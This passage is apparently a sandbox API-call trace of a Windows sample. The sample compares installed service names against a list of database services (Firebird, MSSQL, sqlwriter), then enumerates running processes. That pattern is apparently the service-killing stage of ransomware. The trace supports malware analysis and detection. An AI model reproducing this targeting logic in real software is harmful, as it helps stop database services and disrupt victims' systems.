lstrlenW (lpString="DusmSvc") returned 7 [0156.820] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0156.820] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0156.820] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0156.820] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0156.820] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0156.821] lstrlenW (lpString="EventLog") returned 8 [0156.821] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0156.821] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0156.821] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0156.821] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0156.821] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0156.821] lstrlenW (lpString="EventSystem") returned 11 [0156.821] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0156.821] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0156.821] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0156.821] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0156.821] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0156.821] lstrlenW (lpString="FontCache") returned 9 [0156.821] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0156.821] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0156.821] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0156.821] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0156.821] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0156.821] lstrlenW (lpString="gpsvc") returned 5 [0156.821] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0156.821] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0156.821] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0156.821] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0156.821] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0156.821] lstrlenW (lpString="iphlpsvc") returned 8 [0156.821] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0156.821] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0156.821] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0156.821] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0156.821] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0156.821] lstrlenW (lpString="KeyIso") returned 6 [0156.821] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0156.821] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0156.821] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0156.822] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0156.822] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0156.822] lstrlenW (lpString="LanmanServer") returned 12 [0156.822] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0156.822] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0156.822] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0156.822] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0156.822] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0156.822] lstrlenW (lpString="LanmanWorkstation") returned 17 [0156.822] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0156.822] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0156.822] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0156.822] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0156.822] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0156.822] lstrlenW (lpString="lfsvc") returned 5 [0156.822] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0156.822] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0156.822] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0156.822] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0156.822] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0156.822] lstrlenW (lpString="lmhosts") returned 7 [0156.822] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0156.822] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0156.822] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0156.822] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0156.822] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0156.822] lstrlenW (lpString="LSM") returned 3 [0156.822] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0156.822] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0156.822] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0156.822] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0156.822] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0156.822] lstrlenW (lpString="MpsSvc") returned 6 [0156.823] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0156.823] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0156.823] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0156.823] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0156.823] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0156.823] lstrlenW (lpString="NcbService") returned 10 [0156.823] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0156.823] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0156.823] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0156.823] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0156.823] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0156.823] lstrlenW (lpString="netprofm") returned 8 [0156.823] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0156.823] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0156.823] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0156.823] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0156.823] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0157.024] lstrlenW (lpString="NgcSvc") returned 6 [0157.024] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0157.024] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0157.024] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0157.024] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0157.024] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0157.024] lstrlenW (lpString="NlaSvc") returned 6 [0157.024] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0157.024] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0157.024] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0157.024] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0157.024] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0157.024] lstrlenW (lpString="nsi") returned 3 [0157.024] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0157.024] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0157.024] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0157.024] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0157.024] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0157.024] lstrlenW (lpString="PcaSvc") returned 6 [0157.024] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0157.024] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0157.024] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0157.024] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0157.024] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0157.024] lstrlenW (lpString="PlugPlay") returned 8 [0157.024] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0157.024] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0157.025] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0157.025] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0157.025] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0157.025] lstrlenW (lpString="Power") returned 5 [0157.025] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0157.025] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0157.025] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0157.025] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0157.025] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0157.025] lstrlenW (lpString="ProfSvc") returned 7 [0157.025] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0157.025] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0157.025] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0157.025] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0157.025] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0157.025] lstrlenW (lpString="RpcEptMapper") returned 12 [0157.025] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0157.025] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0157.025] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0157.025] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0157.025] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0157.025] lstrlenW (lpString="RpcSs") returned 5 [0157.025] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0157.025] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0157.025] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0157.025] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0157.025] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0157.025] lstrlenW (lpString="SamSs") returned 5 [0157.025] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0157.025] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0157.025] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0157.025] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0157.026] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0157.026] lstrlenW (lpString="Schedule") returned 8 [0157.026] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0157.026] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0157.026] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0157.026] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0157.026] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0157.026] lstrlenW (lpString="SecurityHealthService") returned 21 [0157.026] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0157.026] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0157.026] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0157.026] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0157.026] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0157.026] lstrlenW (lpString="SENS") returned 4 [0157.026] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0157.026] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0157.026] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0157.026] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0157.026] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0157.026] lstrlenW (lpString="ShellHWDetection") returned 16 [0157.026] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0157.026] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0157.026] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0157.026] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0157.026] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0157.026] lstrlenW (lpString="Spooler") returned 7 [0157.026] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0157.026] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0157.026] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0157.026] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0157.026] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0157.026] lstrlenW (lpString="StateRepository") returned 15 [0157.026] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0157.027] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0157.027] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0157.027] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0157.027] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0157.027] lstrlenW (lpString="SysMain") returned 7 [0157.027] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0157.027] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0157.027] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0157.027] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0157.027] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0157.027] lstrlenW (lpString="SystemEventsBroker") returned 18 [0157.027] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0157.027] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0157.027] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0157.027] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0157.027] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0157.027] lstrlenW (lpString="Themes") returned 6 [0157.027] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0157.027] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0157.027] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0157.027] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0157.027] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0157.027] lstrlenW (lpString="tiledatamodelsvc") returned 16 [0157.027] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0157.027] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0157.027] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1 [0157.027] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1 [0157.027] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="tiledatamodelsvc") returned -1 [0157.027] lstrlenW (lpString="TimeBrokerSvc") returned 13 [0157.027] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TimeBrokerSvc") returned -1 [0157.027] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TimeBrokerSvc") returned -1 [0157.027] lstrcmpiW (lpString1="sqlwriter", lpString2="TimeBrokerSvc") returned -1 [0157.027] lstrcmpiW (lpString1="mssqlserver", lpString2="TimeBrokerSvc") returned -1 [0157.028] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4de3d8 | out: hHeap=0x420000) returned 1 [0157.028] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x330 [0157.033] Process32FirstW (in: hSnapshot=0x330, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0157.033] Process32NextW (in: hSnapshot=0x330, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0157.034] lstrlenW (lpString="System") returned 6 [0157.034] Process32NextW (in: hSnapshot=0x330, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0157.034] lstrlenW (lpString="smss.exe") returned 8 [0157.034] Process32NextW (in: hSnapshot=0x330, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0157.035] lstrlenW (lpString="csrss.exe") returned 9 [0157.035] Process32NextW (in: hSnapshot=0x330, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0157.036] lstrlenW (lpString="wininit.exe") returned 11 [0157.036] Process32NextW (in: hSnapshot=0x330, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0157.036] lstrlenW (lpString="csrss.exe") returned 9 [0157.036] Process32NextW (in: hSnapshot=0x330, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x224, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0157.037] lstrlenW (lpString="winlogon.exe") returned 12 [0157.037] Process32NextW (in: hSnapshot=0x330, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x240, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1dc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0157.037] lstrlenW (lpString="services.exe") returned 12 [0157.037] Process32NextW (in: hSnapshot=0x330, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1dc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0157.037] lstrlenW (lpString="lsass.exe") returned 9 [0157.037] Process32NextW (in: hSnapshot=0x330, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x29c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x224, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0157.038] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0157.038] Process32NextW (in: hSnapshot=0x330, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0157.038] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0157.038] Process32NextW (in: hSnapshot=0x330, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0157.039] lstrlenW (lpString="svchost.exe") returned 11 [0157.039] Process32NextW (in: hSnapshot=0x330, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x308, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0157.039] lstrlenW (lpString="svchost.exe") returned 11 [0157.039] Process32NextW (in: hSnapshot=0x330, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x224, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0157.040] lstrlenW (lpString="dwm.exe") returned 7 [0157.040] Process32NextW (in: hSnapshot=0x330, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x45, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0157.040] lstrlenW (lpString="svchost.exe") returned 11 [0157.040] Process32NextW (in: hSnapshot=0x330, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0157.040] lstrlenW (lpString="svchost.exe") returned 11 [0157.040] Process32NextW (in: hSnapshot=0x330, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0157.041] lstrlenW (lpString="svchost.exe") returned 11 [0157.041] Process32NextW (in: hSnapshot=0x330, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0157.041] lstrlenW (lpString="svchost.exe") returned 11 [0157.041] Process32NextW (in: hSnapshot=0x330, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x15c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x24, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0157.042] lstrlenW (lpString="svchost.exe") returned 11 [0157.042] Process32NextW (in: hSnapshot=0x330, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x440, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0157.042] lstrlenW (lpString="svchost.exe") returned 11 [0157.042] Process32NextW (in: hSnapshot=0x330, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0157.043] lstrlenW (lpString="svchost.exe") returned 11 [0157.043] Process32NextW (in: hSnapshot=0x330, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x508, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0157.043] lstrlenW (lpString="svchost.exe") returned 11 [0157.043] Process32NextW (in: hSnapshot=0x330, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x510, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0157.044] lstrlenW (lpString="svchost.exe") returned 11 [0157.044] Process32NextW (in: hSnapshot=0x330, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x57c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0157.044] lstrlenW (lpString="svchost.exe") returned 11 [0157.044] Process32NextW (in: hSnapshot=0x330, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0157.044] lstrlenW (lpString="spoolsv.exe") returned 11 [0157.045] Process32NextW (in: hSnapshot=0x330, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x690, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0157.045] lstrlenW 